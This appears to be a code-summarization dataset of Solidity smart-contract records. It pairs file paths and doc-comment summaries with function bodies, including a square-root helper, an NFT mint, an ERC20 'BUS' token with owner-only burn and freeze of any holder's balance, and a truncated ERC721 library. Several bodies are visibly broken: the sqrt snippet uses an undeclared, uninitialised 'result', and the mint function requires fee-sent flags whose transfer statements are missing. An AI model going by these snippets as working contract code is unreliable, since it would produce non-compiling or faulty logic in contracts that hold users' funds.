1,754,334
./partial_match/1/0xa9503D0e2D37244816B5b5FFb9d98d4Eb129Fd3C/sources/EdensFlowers.sol
Returns the square root of a number. If the number is not a perfect square, the value is rounded down. Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11)./ At this point `result` is an estimation with one bit of precision. We know the true value is a uint128, since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision into the expected uint128 result.
function sqrt(uint256 a) internal pure returns (uint256) { if (a == 0) { return 0; } unchecked { result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; return min(result, a / result); } }
4,318,976
./full_match/1/0x9F6743E2a20c4D696b75A0AFA323c7ba8E0491D8/sources/contracts/ShopXReserveNFT.sol
Mints a token to the msg.sender. It consumes whitelisted supplies./ Mark it claimed and send the NFT Mint ShopX Fee Platform Fee Agency Fee Beneficiaries
function mint(bytes32[] calldata merkleProof, uint256 quantity) payable external whenNotPaused nonReentrant { require(totalSupply() + quantity <= maxSupply); require(claimed[msg.sender] + quantity <= mintLimitPerWallet); require(msg.value == mintPrice * quantity); require (merkleRoot == bytes32(0) || MerkleProof.verify(merkleProof, merkleRoot, keccak256(abi.encodePacked(msg.sender)))); claimed[msg.sender] += quantity; _safeMint(msg.sender, quantity); for (uint i = 0; i < quantity; i++) { emit NFTClaim(msg.sender, _nextTokenId()-quantity+i, mintPrice); } uint256 balance = msg.value; if (shopxFee != 0) { require(shopxFeeSent); } if (platformFee != 0) { require(platformFeeSent); } if (agencyFee != 0) { require(agencyFeeSent); } for (uint i = 0; i < beneficiaryAddresses.length - 1; i++) { require(sent); } require(sweepSent); }
9,691,444
./full_match/4/0xCDa618a38a4718c022bF0Be1542852Fe39ea3A14/sources/_aave/core-v3/contracts/protocol/tokenization/VariableDebtToken.sol
@inheritdoc IVariableDebtToken
function UNDERLYING_ASSET_ADDRESS() external view override returns (address) { return _underlyingAsset; }
762,529
pragma solidity ^0.4.18; contract ERC20 { uint256 public totalSupply; function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint _value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); } contract Owned{ address public owner; function Owned() public { owner = msg.sender; } modifier onlyOwner{ if(msg.sender != owner){ revert(); }else{ _; } } function transferOwner(address newOwner) onlyOwner public { owner = newOwner; } } /* Math operations with safety checks */ contract SafeMath { function safeMul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) { revert(); } } } contract BUS is ERC20, Owned, SafeMath{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function BUS(uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol) public{ balanceOf[msg.sender] = initialSupply; totalSupply = initialSupply; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; } /* Send coins */ function transfer(address _to, uint256 _value) public returns (bool success){ require(_to != 0x0); require(_value > 0); require(balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); Transfer(msg.sender, _to, _value); return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != 0x0); require(_value > 0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) public returns (bool success) { require(_value > 0); allowance[msg.sender][_spender] = _value; return true; } function burn(address _target, uint256 _value) onlyOwner public returns (bool success) { require(_value > 0); require(_target != 0x0); require(balanceOf[_target] >= _value); balanceOf[_target] = SafeMath.safeSub(balanceOf[_target], _value); totalSupply = SafeMath.safeSub(totalSupply,_value); Burn(_target, _value); return true; } function freeze(address _target, uint256 _value) onlyOwner public returns (bool success) { require(_value > 0); require(_target != 0x0); require(balanceOf[_target] >= _value); balanceOf[_target] = SafeMath.safeSub(balanceOf[_target], _value); freezeOf[_target] = SafeMath.safeAdd(freezeOf[_target], _value); Freeze(_target, _value); return true; } function unfreeze(address _target, uint256 _value) onlyOwner public returns (bool success) { require(_value > 0); require(_target != 0x0); require(freezeOf[_target] >= _value); freezeOf[_target] = SafeMath.safeSub(freezeOf[_target], _value); balanceOf[_target] = SafeMath.safeAdd(balanceOf[_target], _value); Unfreeze(_target, _value); return true; } function withdrawEther(uint256 amount) onlyOwner public{ owner.transfer(amount); } function() payable public{ } }
A contract attempts to get the coins /
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != 0x0); require(_value > 0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; }
13,709,617
pragma solidity ^0.8.0; // SPDX-License-Identifier: MIT /*************************************/ /********** Library Files **********/ /*************************************/ // File: Safemath.sol // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: contracts\openzeppelin-solidity\contracts\utils\introspection\IERC165.sol /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: contracts\openzeppelin-solidity\contracts\token\ERC721\IERC721.sol /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {se tApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is call ed upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApproval ForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApproval ForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is call ed upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: contracts\openzeppelin-solidity\contracts\token\ERC721\IERC721Receiver.sol /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: contracts\openzeppelin-solidity\contracts\token\ERC721\extensions\IERC721Metadata.sol /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: contracts\openzeppelin-solidity\contracts\utils\Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactio ns-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-en coding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling t he * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts\openzeppelin-solidity\contracts\utils\Context.sol /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: contracts\openzeppelin-solidity\contracts\utils\Strings.sol /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: contracts\openzeppelin-solidity\contracts\utils\introspection\ERC165.sol /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: contracts\openzeppelin-solidity\contracts\token\ERC721\ERC721.sol /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is call ed upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is call ed upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter w hich is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve 